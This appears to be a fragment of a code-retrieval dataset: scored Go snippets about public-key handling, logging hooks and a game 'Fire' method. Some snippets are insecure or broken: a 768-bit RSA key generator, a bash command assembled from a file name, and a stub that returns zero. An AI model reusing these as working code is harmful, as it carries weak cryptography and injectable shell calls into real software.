*rsa.PublicKey\")\n\t\treturn\n\t}\n\n\t// Return\n\to = NewPublicKey(pub)\n\treturn\n}", "title": "" }, { "docid": "058e9b3325a511c4bfde2517a7a21d38", "score": "0.64635956", "text": "func (m *Manager) PubKey(contractAddr common.Address) (string, error) {\n\tinstance, err := contract.NewAccessControl(contractAddr, m.rpc.GetRawClient())\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"could not bind to existing contract\")\n\t}\n\n\tpubKey, err := instance.PubKey(nil)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"could not retrieve public key\")\n\t}\n\n\treturn pubKey, nil\n}", "title": "" }, { "docid": "82156c417667bf0ad3502b72d7bab9dd", "score": "0.6456528", "text": "func (k *PrivateKey) PublicKey() *PublicKey {\n\tpubKey, err := publicKeyForPrivateKey(k.Key)\n\tif err != nil {\n\t\tlog.Panicf(\"PrivateKey.PublicKey failed: %v\", err)\n\t}\n\treturn &PublicKey{\n\t\tkey: key{\n\t\t\tVersion: PublicWalletVersion,\n\t\t\tKey: pubKey,\n\t\t\tDepth: k.Depth,\n\t\t\tchildNumber: k.childNumber,\n\t\t\tChainCode: k.ChainCode,\n\t\t\tParentFingerprint: k.ParentFingerprint,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "32441cded2fd9dcb41d370c54fe02ca8", "score": "0.64564556", "text": "func ExportPublicPEM(pub *rsa.PublicKey) (string, error) {\n\tb, err := x509.MarshalPKIXPublicKey(pub)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error reading public key: %s\", err)\n\t}\n\tblock := pem.Block{\n\t\tType: \"PUBLIC KEY\",\n\t\tHeaders: nil, //headers make openssl unable to load key\n\t\tBytes: b,\n\t}\n\tw := bytes.NewBuffer(nil)\n\terr = pem.Encode(w, &block)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error writing PEM: %s\", err)\n\t}\n\treturn w.String(), nil\n}", "title": "" }, { "docid": "85142f0c51f228d6d43162517a3142b4", "score": "0.6425063", "text": "func GenerateSigningKey() (*PublicKey, error) {\n\trsaKey, err := rsa.GenerateKey(rand.Reader, 768)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tp := PublicKey{\n\t\tType: \"S\",\n\t\tModulus: rsaKey.N.Bytes(),\n\t\tExponent: big.NewInt(int64(rsaKey.E)).Bytes(),\n\t\trsaPrivateKey: rsaKey,\n\t}\n\treturn &p, nil\n}", "title": "" }, { "docid": "e8cdd459e4000c691c28ddae5c91a73e", "score": "0.6419072", "text": "func PublicKey(a, p *big.Int, g int64) *big.Int {\n\treturn new(big.Int).Exp(big.NewInt(g), a, p)\n}", "title": "" }, { "docid": "e96a3c65385f4c1eef95a3ee580d22d7", "score": "0.6411781", "text": "func orgPublic(c *cli.Context) error {\n\tif c.NArg() < 1 {\n\t\tlog.Fatal(\"Please give the public keys to add\")\n\t}\n\tlog.Lvl3(\"Org: Adding public keys\", c.Args().Get(1))\n\tstr := c.Args().Get(1)\n\tif !strings.HasPrefix(str, \"[\") {\n\t\tstr = \"[\" + str + \"]\"\n\t}\n\t// TODO: better cleanup rules\n\tstr = strings.Replace(str, \"\\\"\", \"\", -1)\n\tstr = strings.Replace(str, \"[\", \"\", -1)\n\tstr = strings.Replace(str, \"]\", \"\", -1)\n\tstr = strings.Replace(str, \"\\\\\", \"\", -1)\n\tlog.Lvl3(\"Niceified public keys are:\\n\", str)\n\tkeys := strings.Split(str, \",\")\n\tcfg := getConfig(c)\n\tkeyset := make([][32]byte, len(keys))\n\tfor i := 0; i < len(keys); i++ {\n\t\tkeyA := []byte(keys[i])\n\t\tcopy(keyset[i][:], keyA)\n\t}\n\tconn, err := ethclient.Dial(cfg.Network)\n\tif err != nil {\n\t\tlog.Fatalf(\"could not connect to network: %v\", err)\n\t}\n\tkey, _ := crypto.HexToECDSA(cfg.Private)\n\tauth := bind.NewKeyedTransactor(key)\n\tcontract, err := NewPopcontract(common.HexToAddress(cfg.Address), conn)\n\tif err != nil {\n\t\tlog.Fatalf(\"could not instantiate contract: %v \\n\", err)\n\t}\n\ttxe, err := contract.DepositPublicKeys(&bind.TransactOpts{\n\t\tFrom: auth.From,\n\t\tSigner: auth.Signer,\n\t\tGasLimit: big.NewInt(gasL),\n\t\tGasPrice: big.NewInt(gasP),\n\t\tValue: big.NewInt(0),\n\t\tNonce: big.NewInt(int64(cfg.Nonce)),\n\t}, keyset)\n\tif err != nil {\n\t\tlog.Fatalf(\"could not deposit keyset: %v\", err)\n\t}\n\tcfg.Nonce = cfg.Nonce + 1\n\tfmt.Printf(\"Keyset Added. Transaction : %x \\n\", txe.Hash())\n\tcfg.write()\n\treturn nil\n}", "title": "" }, { "docid": "3519b7e7bc2caa134034bb476ace87cf", "score": "0.640339", "text": "func generatePublicKey(ctx context.Context, privateKeyName, publicKeyName string) error {\n\t//directory := configuration.WgInterface.Dir\n\tlog.Info().Msgf(\"Generating public key ...\")\n\tcmd := wgManageBin + \" pubkey < \" + privateKeyName\n\n\tout, err := exec.CommandContext(ctx, \"bash\", \"-c\", cmd).Output()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to execute command: %s\", cmd)\n\t}\n\n\tif err := writeToFile(publicKeyName, string(out)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b14bb61aab54838b5b35221805ff89c6", "score": "0.6402585", "text": "func (privKey PrivKey) PubKey() crypto.PubKey {\n\t_, sm2PubKey := PrivKeyFromBytes(sm2.P256Sm2(), privKey)\n\tb := sm2PubKey.X.Bytes()\n\treturn PubKey(b)\n}", "title": "" }, { "docid": "4a3eb85e8a117f4f2b623d8cf0bfb8cf", "score": "0.63984656", "text": "func NewPublicKey() *PublicKey {\n\treturn &PublicKey{}\n}", "title": "" }, { "docid": "dfed7cbda0da070c3f15d4b70b581caa", "score": "0.6394762", "text": "func PublicFromPrivate(priv_key []byte, compressed bool) (res []byte) {\n\tif compressed {\n\t\tres = make([]byte, 33)\n\t} else {\n\t\tres = make([]byte, 65)\n\t}\n\n\tif !secp256k1.BaseMultiply(priv_key, res) {\n\t\tres = nil\n\t}\n\treturn\n}", "title": "" }, { "docid": "88efe5f8565ccbebfb336359b8e4f7bd", "score": "0.6386807", "text": "func (enc *Encryptor) PublicKey() []byte {\n\treturn elliptic.Marshal((*enc).curve, (*enc).publicKeyX, (*enc).publicKeyY)\n}", "title": "" }, { "docid": "85fd0613ce9872d3f0f03070627d58ae", "score": "0.6382809", "text": "func (n *netImpl) PubKey() *ed25519.PublicKey {\n\treturn &n.nodeKeyPair.PublicKey\n}", "title": "" }, { "docid": "67a6f010ff3ab783ff376951a453a20f", "score": "0.6379289", "text": "func PublicKey() []byte {\n\treturn globalData.publicKey\n}", "title": "" }, { "docid": "705d360924018b7252ce86a0e19e10c3", "score": "0.6378679", "text": "func (k *Key) PublicKey() ([]byte, error) {\n\treader := bytes.NewReader(k.Key)\n\tpub, _, err := ed25519.GenerateKey(reader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn pub[:], nil\n}", "title": "" }, { "docid": "4f545dcf1007c766a2fa4577db4c728f", "score": "0.63714635", "text": "func (a *PubKey) PubKey() *ec.PublicKey {\n\treturn a.PublicKey\n}", "title": "" }, { "docid": "959a2bbc70eefb3e7a19ffddca2631d7", "score": "0.6370629", "text": "func (s *Server) PublicKey() []byte {\n\tif s.publicKey == nil {\n\t\tvar err error\n\t\ts.publicKey = auth.KeyExchange(&s.privateKey.PublicKey)\n\t\tif s.publicKey == nil {\n\t\t\tlog.Fatal(\"Couldn't marshal public key:\", err)\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn s.publicKey\n}", "title": "" }, { "docid": "3dfd57ae374f1e3466b4fd01110d83e7", "score": "0.636805", "text": "func (p PrivateKey) PublicKey() PublicKey {\n\tvar A edwards25519.ExtendedGroupElement\n\tvar hBytes [32]byte\n\tcopy(hBytes[:], p[:])\n\tedwards25519.GeScalarMultBase(&A, &hBytes)\n\tvar publicKeyBytes [32]byte\n\tA.ToBytes(&publicKeyBytes)\n\treturn publicKeyBytes[:]\n}", "title": "" }, { "docid": "d1aec0e8a6b31895c7b24e802d24f4de", "score": "0.6364556", "text": "func PublicKey(g *big.Int, p *big.Int, x int64) *big.Int {\n\t// A = g**a mod p\n\t// B = g**b mod p\n\tkey := big.NewInt(0)\n\treturn key\n}", "title": "" }, { "docid": "3450359d8c536ed0bad46efda800a229", "score": "0.6363185", "text": "func (f *PrivateKey) PublicKey() crypt.PublicKey {\n\treturn f.PrivateKey.Public()\n}", "title": "" }, { "docid": "199db4cb8a7e9ba3799d220919cfd8c7", "score": "0.63583034", "text": "func (s *PrivKeyScalar) Public() *PublicKey {\n\tp := NewPoint().Mul((*big.Int)(s), B8)\n\tpk := PublicKey(*p)\n\treturn &pk\n}", "title": "" }, { "docid": "ae44867152946a04ae044bc59a9be120", "score": "0.6357384", "text": "func PublicKey(c []byte) ([]byte, error) {\n\tcert, err := x509.ParseCertificate(c)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"x509.ParseCertificate(c): %v\", err)\n\t}\n\n\trsa, ok := cert.PublicKey.(*rsa.PublicKey)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"unsupported key type, not an RSA public key\")\n\t}\n\n\tpublic, err := x509.MarshalPKIXPublicKey(rsa)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling public key: %v\", err)\n\t}\n\n\treturn public, nil\n}", "title": "" }, { "docid": "d20b13a61ee4952ea1ffb883851fdcbf", "score": "0.6354622", "text": "func\tpemEncodePublicKey(publicKey *ecdsa.PublicKey) string {\n\tvar\tx509EncodedPublicKey\t[]byte\n\tvar\tpemEncodedPublicKey\t\t[]byte\n\n\tx509EncodedPublicKey, _ = x509.MarshalPKIXPublicKey(publicKey)\n\tpemEncodedPublicKey = pem.EncodeToMemory(&pem.Block{Type: \"PUBLIC KEY\", Bytes: x509EncodedPublicKey})\n\treturn string(pemEncodedPublicKey)\n}", "title": "" }, { "docid": "a7766ddc43b44bc4a884c87c98a5b102", "score": "0.6342583", "text": "func (ca *Server) SignPublicKey(args SignArgs, reply *SignReply) error {\n\t// Lock the mutex to prevent confusion when signing multiple requests\n\tca.sshKeygenLock.Lock()\n\tdefer ca.sshKeygenLock.Unlock()\n\n\t// Verify the signing request\n\tfmt.Println(args)\n\tif err := ca.confirmRequest(); err != nil {\n\t\treturn fmt.Errorf(\"failed to confirm request: %w\", err)\n\t}\n\n\t// Prepare key for ssh-keygen, which reads files on disk\n\t// It's probably possible to pass in the key to stdin, but that makes passing\n\t// user input to ssh-keygen more complex.\n\ttempDir, err := ioutil.TempDir(\"\", \"sshca.\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create temporary directory: %w\", err)\n\t}\n\tdefer os.RemoveAll(tempDir)\n\n\tkeyPath := filepath.Join(tempDir, \"key.pub\")\n\terr = args.PublicKey.WriteFile(keyPath, 0o600)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed write key to disk: %w\", err)\n\t}\n\tsshKeygenArgs := ca.getSSHKeygenArgs(args, keyPath)\n\terr = runSSHKeygen(sshKeygenArgs)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Add a newline before next prompt\n\tfmt.Println()\n\n\tcertificate, err := NewPublicKey(filepath.Join(tempDir, \"key-cert.pub\"))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to read certificate from disk: %w\", err)\n\t}\n\n\treply.Certificate = certificate\n\treturn nil\n}", "title": "" }, { "docid": "fd2b17beae1955b73a2bf1953a02882a", "score": "0.63414705", "text": "func NewPublicKey(params Parameters) (pk *rlwe.PublicKey) {\n\treturn rlwe.NewPublicKey(params.Parameters)\n}", "title": "" }, { "docid": "021ffb2f93abd847a73fccc9d9db1650", "score": "0.6339614", "text": "func (sk PrivateKey) PublicKey() PublicKey {\n\treturn PublicKey{\n\t\tkeyData: sk.keyData[32:],\n\t}\n}", "title": "" }, { "docid": "51a164c9501deec6098f857c697ef813", "score": "0.63378257", "text": "func (k *Key) PublicKey() crypto.PublicKey {\n\treturn k.pubKey\n}", "title": "" }, { "docid": "5392b4f667188bc5d843e6f9c06dae41", "score": "0.63299423", "text": "func GenericPublicKey(data []byte) (pub interface{}, err error) {\n\tpub, err = x509.ParsePKIXPublicKey(data)\n\tif err == nil {\n\t\treturn\n\t}\n\n\tvar publickey dsa.PublicKey\n\n\t// Write to buffer\n\tbuf := new(bytes.Buffer)\n\tbuf.Write(data)\n\n\t// Get decoded\n\tdecoder := gob.NewDecoder(buf)\n\terr = decoder.Decode(&publickey)\n\tpub = &publickey\n\n\treturn\n}", "title": "" }, { "docid": "0f5ef5bcaabb8a66416d2e76133689fc", "score": "0.6322872", "text": "func (k SignSecretKey) PublicKey() SignPublicKey {\n\tcheckTypedSize(&k, \"Sign SecretKey\")\n\tpkb := make([]byte, cryptoSignPublicKeyBytes)\n\tC.crypto_sign_ed25519_sk_to_pk(\n\t\t(*C.uchar)(&pkb[0]),\n\t\t(*C.uchar)(&k.Bytes[0]))\n\treturn SignPublicKey{pkb}\n}", "title": "" }, { "docid": "1ad7ea10d1adcd2c89a43167d6a0f11d", "score": "0.6318785", "text": "func pubKey(priv interface{}) interface{} {\n\tswitch k := priv.(type) {\n\tcase *rsa.PrivateKey:\n\t\treturn &k.PublicKey\n\tcase *ecdsa.PrivateKey:\n\t\treturn &k.PublicKey\n\tdefault:\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "90559209f6acabf690556bbfb500d2e0", "score": "0.6304094", "text": "func (p *PrivKeyMT) PublicKey() []byte {\n\tpriv := p.merkle[p.d-1].priv\n\tkey := make([]byte, 1+n+n)\n\tkey[0] = (byte(p.h / 20)) << 4\n\tkey[0] |= byte(p.d)\n\tcopy(key[1:], priv.root)\n\tcopy(key[1+n:], priv.pubPRF.seed)\n\treturn key\n}", "title": "" }, { "docid": "0f0e118fe5367d1d360324c0860e4cad", "score": "0.6302466", "text": "func (client *XClient) PublicKey() crypto.Key {\n\treturn client.kp.Public\n}", "title": "" }, { "docid": "758e2ad06bd8deaa17193dd08addf947", "score": "0.63002354", "text": "func (p *Proposal) SetPublicKey(crypto.PublicKey) {}", "title": "" }, { "docid": "f5648da278da4bbc9daa1c35a88428ea", "score": "0.62989277", "text": "func (p *PrivateKey) PubKey() *PublicKey {\n\treturn (*PublicKey)(&p.PublicKey)\n}", "title": "" }, { "docid": "631aa90ab3d60121fae3291cece2d2f4", "score": "0.62851644", "text": "func (w *Wallet) PublicKey() string {\n\tbKey := publicKeyToBytes(&w.key.PublicKey)\n\treturn b64.StdEncoding.EncodeToString(bKey)\n}", "title": "" }, { "docid": "c5a5c5f5361aa841c538f1cb672449bb", "score": "0.62843144", "text": "func (eng *Engine) P2PKHPublic(pub []byte) *Engine {\n\teng.b = append(eng.b, eng.Generator.P2PKHPublic(pub)...)\n\treturn eng\n}", "title": "" }, { "docid": "8e1c5401f32e01b434105ba1cc820608", "score": "0.62736696", "text": "func (pk *privateKey25519) PubKey() PublicKey {\n\treturn pk.pub\n}", "title": "" }, { "docid": "f46ae06402af62370165f3e22247b3d8", "score": "0.6266796", "text": "func encodeKeys(priv *ecdsa.PrivateKey, curveName string) (public upspin.PublicKey, private string) {\n\tprivate = priv.D.String() + \"\\n\"\n\tpublic = upspin.PublicKey(curveName + \"\\n\" + priv.X.String() + \"\\n\" + priv.Y.String() + \"\\n\")\n\treturn\n}", "title": "" }, { "docid": "c77556491797e60afb8a93e7fe991130", "score": "0.62649983", "text": "func (eng *Engine) P2PKPublic(pub []byte) *Engine {\n\teng.b = append(eng.b, eng.Generator.P2PKPublic(pub)...)\n\treturn eng\n}", "title": "" }, { "docid": "d5b8f0769260e76ec0eb5f7dc067272f", "score": "0.6253586", "text": "func NewRsaPublic(n []byte, e int) RsaPublic {\n\treturn RsaPublic{\n\t\tpubKey: &rsa.PublicKey{\n\t\t\tN: new(big.Int).SetBytes(n),\n\t\t\tE: e,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "9417f0c24f33df270140c828d13b17d6", "score": "0.624517", "text": "func (p *Platform) PublicKey(file string, key []byte) {\n\tp.config.PublicKeyFile = file\n\tp.config.PublicKey = string(key)\n}", "title": "" }, { "docid": "f1ff302b01dab881d96219fadc042825", "score": "0.62357044", "text": "func (p *PrivateKey) PubKey() *PublicKey {\n\treturn (*PublicKey)((*btcec.PrivateKey)(p).PubKey())\n}", "title": "" }, { "docid": "944fa96dbb48699572e23d87bff100ce", "score": "0.62340915", "text": "func newPubKey(pk string) (res crypto.PubKey) {\n\tpkBytes, err := hex.DecodeString(pk)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tvar pkEd ed25519.PubKeyEd25519\n\tcopy(pkEd[:], pkBytes[:])\n\treturn pkEd\n}", "title": "" }, { "docid": "d65d6f090a433d6a88938ae35b13d48c", "score": "0.622784", "text": "func (t *Tpaga) setPublicBase64() {\n\tt.publicKeyBase64 = base64.StdEncoding.EncodeToString([]byte(t.PublicKey + \":\"))\n}", "title": "" } ]
45166de05c2a449f1a3a7639c27633c4
Fire makes the current player fire at a location
[ { "docid": "f11aabe272fa121ed8a4c3582b03d52b", "score": "0.70575404", "text": "func (battle *Battle) Fire(location Location) (affected bool, cast bool, end bool, err error) {\n\tenemy := battle.GetOtherPlayer(battle.turn)\n\tboard := battle.boards[enemy]\n\n\tif err = board.fireAt(location); err != nil {\n\t\treturn\n\t}\n\n\tbattle.turn = enemy\n\n\tship := board.get(location)\n\n\tif ship == nil {\n\t\treturn\n\t}\n\n\taffected = true\n\n\tif !board.isCast(ship) {\n\t\treturn\n\t}\n\n\tcast = true\n\tend = !board.hasRemainingShips()\n\n\treturn\n}", "title": "" } ]
[ { "docid": "80f7f9f8c80e689aa0c3ea0e01af16c8", "score": "0.6555235", "text": "func (p *player) Fire(bullets *bulletList) {\n\tif len(*bullets) > 0 {\n\t\treturn\n\t}\n\n\tnewBullet(\n\t\tp.r,\n\t\tbullets,\n\t\tp.x+p.w/2,\n\t\tp.y,\n\t\t&bulletConfig{\n\t\t\tspeed: p.c.bulletSpeed,\n\t\t\tdirection: -1,\n\t\t\tcolorR: 0x00,\n\t\t\tcolorG: 0xFC,\n\t\t\tcolorB: 0xFF,\n\t\t},\n\t)\n\n\tp.sounds[\"fire\"].Play(0, 0)\n}", "title": "" }, { "docid": "165dc11b4d58be83fb6f6f1a87559389", "score": "0.65185076", "text": "func MoveFire(d direction.Direction) Action {\n\treturn Action(d.String() + \",\" + ACT)\n}", "title": "" }, { "docid": "0168143344b6844f426ec5f04879d08c", "score": "0.6168869", "text": "func FireMove(d direction.Direction) Action {\n\treturn Action(ACT + \",\" + d.String())\n}", "title": "" }, { "docid": "2de61609ab60deb01ca7c5131f3a5b6b", "score": "0.61345917", "text": "func (i *Instance) SpawnFire(x, y float64) (ecs.EntityID, error) {\n\tfireSheet, err := asset.LoadImageFromPath(\"assets/fire.png\")\n\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"could not load fire sprite sheet\")\n\t}\n\n\tfireFrames, err := asset.LoadFramesFromPath(\"assets/fire.frames\")\n\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"could not load fire frames\")\n\t}\n\n\te := i.world.NewEntity()\n\n\ti.world.AddComponent(e, i.componentPosition, &components.Position{\n\t\tX: x,\n\t\tY: y,\n\t})\n\n\ti.world.AddComponent(\n\t\te,\n\t\ti.componentSprite,\n\t\tcomponents.NewSpriteAnimated(\n\t\t\tfireSheet,\n\t\t\tfireFrames,\n\t\t\tcomponents.SpriteAnimationOptions{\n\t\t\t\tFPS: 60,\n\t\t\t\tLoops: false,\n\t\t\t},\n\t\t\ti.layerObjects,\n\t\t),\n\t)\n\n\treturn e, nil\n}", "title": "" }, { "docid": "443e80b4073033c5b8d661cb88dbe0ba", "score": "0.608486", "text": "func Fire(display Displayer, now time.Time) {\n\twidth, height := display.Size()\n\tconst pointsPerCircle = 12 // how many LEDs there are per turn of the torch\n\tconst speed = 12 // higher means faster\n\tvar cooling = 256 / height // higher means faster cooling\n\tvar detail = 12800 / width // higher means more detailed flames\n\tfor x := int16(0); x < width; x++ {\n\t\tfor y := int16(0); y < width; y++ {\n\t\t\theat := ledsgo.Noise2(int32(y*detail)+int32((now.UnixNano()>>20)*speed), int32(x*detail))/256 + 128\n\t\t\theat -= int16((height-1)-y) * cooling\n\t\t\tif heat < 0 {\n\t\t\t\theat = 0\n\t\t\t}\n\t\t\tdisplay.SetPixel(x, y, heatMap(uint8(heat)))\n\t\t}\n\t}\n}", "title": "" }, { "docid": "94e1acd6ddecc1b357c1cf0d35165a90", "score": "0.5890601", "text": "func (battle *Battle) CanFire(player Player, location Location) bool {\n\tif battle.turn != player {\n\t\treturn false\n\t}\n\n\tboard := battle.boards[battle.GetOtherPlayer(player)]\n\treturn !board.isFired(location)\n}", "title": "" }, { "docid": "19bd46dec5734a45895f79200e27c3ef", "score": "0.5854184", "text": "func fireAt(x, y, z int, t time.Time) color.RGBA {\n\tconst pointsPerCircle = 12 // how many LEDs there are per turn of the torch\n\tconst cooling = 1792 / size // higher means faster cooling\n\tconst detail = 12800 / size // higher means more detailed flames\n\tconst speed = 12 // higher means faster\n\tconst screenHeight = size + 1\n\tif z == 0 {\n\t\treturn color.RGBA{}\n\t}\n\theat := ledsgo.Noise3(int32((31-z)*detail)-int32((t.UnixNano()>>20)*speed), int32(x*detail), int32(y*detail))/32 + (128 * 8)\n\theat -= int16(screenHeight-z) * cooling\n\tif heat < 0 {\n\t\theat = 0\n\t}\n\treturn heatMap(heat)\n}", "title": "" }, { "docid": "96e3ef6b64318b256a14ba9267a292db", "score": "0.57762605", "text": "func (weapon Weapon) Fire(rangeToTarget int, target Target) bool {\n\tif rangeToTarget <= weapon.maxRange {\n\t\tr := rand.New(rand.NewSource(time.Now().Unix()))\n\n\t\tchance := r.Float64()\n\t\tif chance <= weapon.Accuracy() {\n\t\t\ttarget.Hit(weapon.damage)\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "975a0074e1b2ef3d68e2581e8b3a5097", "score": "0.5766397", "text": "func (elk *UDPHook) Fire(e *log.Entry) error {\n\t// Make a copy to safely modify\n\tentry := e.WithFields(nil)\n\tif cursor := findFrame(); cursor != nil {\n\t\tt := newTraceFromFrames(*cursor, nil)\n\t\tentry.Data[FileField] = t.String()\n\t\tentry.Data[FunctionField] = t.Func()\n\t}\n\tdata, err := json.Marshal(Frame{\n\t\tTime: elk.Clock.Now().UTC(),\n\t\tType: \"trace\",\n\t\tEntry: entry.Data,\n\t\tMessage: entry.Message,\n\t\tLevel: entry.Level.String(),\n\t})\n\tif err != nil {\n\t\treturn Wrap(err)\n\t}\n\n\tconn, err := net.ListenPacket(\"udp\", \":0\")\n\tif err != nil {\n\t\treturn Wrap(err)\n\t}\n\tdefer conn.Close()\n\n\tresolvedAddr, err := net.ResolveUDPAddr(\"udp\", \"127.0.0.1:5000\")\n\tif err != nil {\n\t\treturn Wrap(err)\n\t}\n\n\t_, err = (conn.(*net.UDPConn)).WriteToUDP(data, resolvedAddr)\n\treturn Wrap(err)\n\n}", "title": "" }, { "docid": "24f1ca25d782b723731063ae02585bc9", "score": "0.57182294", "text": "func Fire(name string, params M) (error, Event) {\n\treturn std.Fire(name, params)\n}", "title": "" }, { "docid": "6a79e657d656e1b628fb6f10eecac6d6", "score": "0.56091183", "text": "func Fire(v time.Time) predicate.CloudEvents {\n\treturn predicate.CloudEvents(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldFire), v))\n\t})\n}", "title": "" }, { "docid": "9ec586f985b283b3ebfcb1325b5ce856", "score": "0.55200344", "text": "func (lg *LocalGateImpl) FireCh() <-chan struct{} {\n\treturn lg.fireCh\n}", "title": "" }, { "docid": "5e622ae0227e5189b0b36673cd1e401c", "score": "0.54817986", "text": "func (g *Guillotine) Trigger() { go g.execOnce.Do(g.execute) }", "title": "" }, { "docid": "eced0b5495b0611a29132534102cac86", "score": "0.53675735", "text": "func (tl *Tele) Fire(cp common.ChangeCriteria) error {\n\tif len(cp.Scores) == 0 {\n\t\treturn nil\n\t}\n\tvar msg string\n\tmsg += fmt.Sprintf(\"In period of %s, these pair's change has crossed the threholds: \\n\", cp.Duration.String())\n\tfor _, data := range cp.Scores {\n\t\tmsg += fmt.Sprintf(\"%s : %.2f%% \\n\", data.Pair, data.Percent)\n\t}\n\tfor _, recipient := range tl.channels {\n\t\t_, err := tl.bot.Send(recipient, msg)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3c59a0f9d326eddb9ef46a6683ca6ace", "score": "0.52686983", "text": "func (c *Client) GetWeatherForFire() goa.Endpoint {\n\treturn func(ctx context.Context, v interface{}) (interface{}, error) {\n\t\tinv := goagrpc.NewInvoker(\n\t\t\tBuildGetWeatherForFireFunc(c.grpccli, c.opts...),\n\t\t\tEncodeGetWeatherForFireRequest,\n\t\t\tDecodeGetWeatherForFireResponse)\n\t\tres, err := inv.Invoke(ctx, v)\n\t\tif err != nil {\n\t\t\tresp := goagrpc.DecodeError(err)\n\t\t\tswitch message := resp.(type) {\n\t\t\tcase *goapb.ErrorResponse:\n\t\t\t\treturn nil, goagrpc.NewServiceError(message)\n\t\t\tdefault:\n\t\t\t\treturn nil, goa.Fault(err.Error())\n\t\t\t}\n\t\t}\n\t\treturn res, nil\n\t}\n}", "title": "" }, { "docid": "42b11603e50102e2a4f8b8da93b59eaa", "score": "0.52338225", "text": "func (hook *RemoteLogger) Fire(entry *logrus.Entry) (err error) {\n\n\t// If DebugRemote, send log to appropriate function, which\n\t// will handle details for sending logs back to server.\n\t// (Timing of reports and route strategies)\n\tif assets.DebugRemote == \"true\" {\n\t\treturn HandleRemoteLog(entry)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "8db067e35ec6bf8afb24185d6550c5ba", "score": "0.5194786", "text": "func (hook FileLineHook) Fire(entry *log.Entry) error {\n\tif pc, file, line, ok := runtime.Caller(8); ok {\n\t\tfuncName := runtime.FuncForPC(pc).Name()\n\t\tentry.Data[\"file\"] = path.Base(file)\n\t\tentry.Data[\"func\"] = path.Base(funcName)\n\t\tentry.Data[\"line\"] = line\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d0218c0a5ab080df29c7bfa7d81b9d9f", "score": "0.5103847", "text": "func (h *FibcLogHook) Fire(entry *log.Entry) error {\n\tline, err := entry.String()\n\tif err != nil {\n\t\tline = entry.Message\n\t}\n\n\tmsg := fibcapi.ApMonitorReplyLog{\n\t\tLine: line,\n\t\tLevel: uint32(entry.Level),\n\t\tTime: entry.Time.UnixNano(),\n\t}\n\th.db.SendAPMonitorReplyLog(&msg)\n\n\treturn nil\n}", "title": "" }, { "docid": "b648f7b31d849462837b899ecf010e4b", "score": "0.50591886", "text": "func (hook *LogHook) Fire(entry *log.Entry) error {\n\tline, err := entry.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = hook.Writer.Write([]byte(line))\n\treturn err\n}", "title": "" }, { "docid": "3a20135c06ace6618ff3bd9b76e4cee2", "score": "0.5027684", "text": "func (r *Rule) fire(am Alerter, tags map[string]string) error {\n\tactions, err := alerting.ParseActions(r.Actions)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not fire alert: %v\", err)\n\t}\n\ta := alerting.Alert{\n\t\tName: formatMsg(r.Name, tags),\n\t\tCategory: r.Category,\n\t\tMessage: formatMsg(r.Message, tags),\n\t\tNag: int64(r.Nag),\n\t\tAutoDismiss: r.AutoDismiss,\n\t\tActions: actions,\n\t}\n\treturn am.AddAlert(&a)\n}", "title": "" }, { "docid": "f3ba2a66c522e68532ef66786054a965", "score": "0.49937466", "text": "func (e *LobbyGameStartEvent) Execute() {\n\t// set game to started\n\te.Lobby.Game.Started = true\n}", "title": "" }, { "docid": "de1a00ba29b172206a12fb546a681f1a", "score": "0.498405", "text": "func (self *Camera) Follow(target interface{}) {\n self.Object.Call(\"follow\", target)\n}", "title": "" }, { "docid": "16b2613e6d8a8932111fdd9326663a0c", "score": "0.4961717", "text": "func (h *Hook) Fire(entry *logrus.Entry) error {\n\ts, err := entry.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = h.channel.Send(s) // This should be all the goodies\n\treturn err\n}", "title": "" }, { "docid": "2051fff5b0a24cc3ae788e190c686c29", "score": "0.49583372", "text": "func (hook *CallerHook) Fire(entry *logrus.Entry) error {\n\tentry.Data[\"caller\"] = hook.caller()\n\treturn nil\n}", "title": "" }, { "docid": "cb487310f281b1d6e1fee569d154d04f", "score": "0.4958028", "text": "func (hook ContextHook) Fire(entry *logrus.Entry) error {\n\tpc := make([]uintptr, 3, 3)\n\tcount := runtime.Callers(6, pc)\n\tfor i := 0; i < count; i++ {\n\t\tfu := runtime.FuncForPC(pc[i] - 1)\n\t\tname := fu.Name()\n\t\tif strings.HasPrefix(name, prefix) && !strings.HasPrefix(name, vendorprefix) {\n\t\t\tfile, line := fu.FileLine(pc[i] - 1)\n\t\t\tentry.SetField(\"location\", fmt.Sprintf(\"%s:%d\", path.Base(file), line))\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e13c23d383feb81c37930c80ae14680f", "score": "0.49329382", "text": "func (h *Hook) Fire(entry *logrus.Entry) error {\n\th.q.Push(queue.NewJob(entry.Dup(), func(v interface{}) {\n\t\th.exec(v.(*logrus.Entry))\n\t}))\n\treturn nil\n}", "title": "" }, { "docid": "4596f4ec84706cecd248729cc2563ce9", "score": "0.49204072", "text": "func (GM *GameManager) 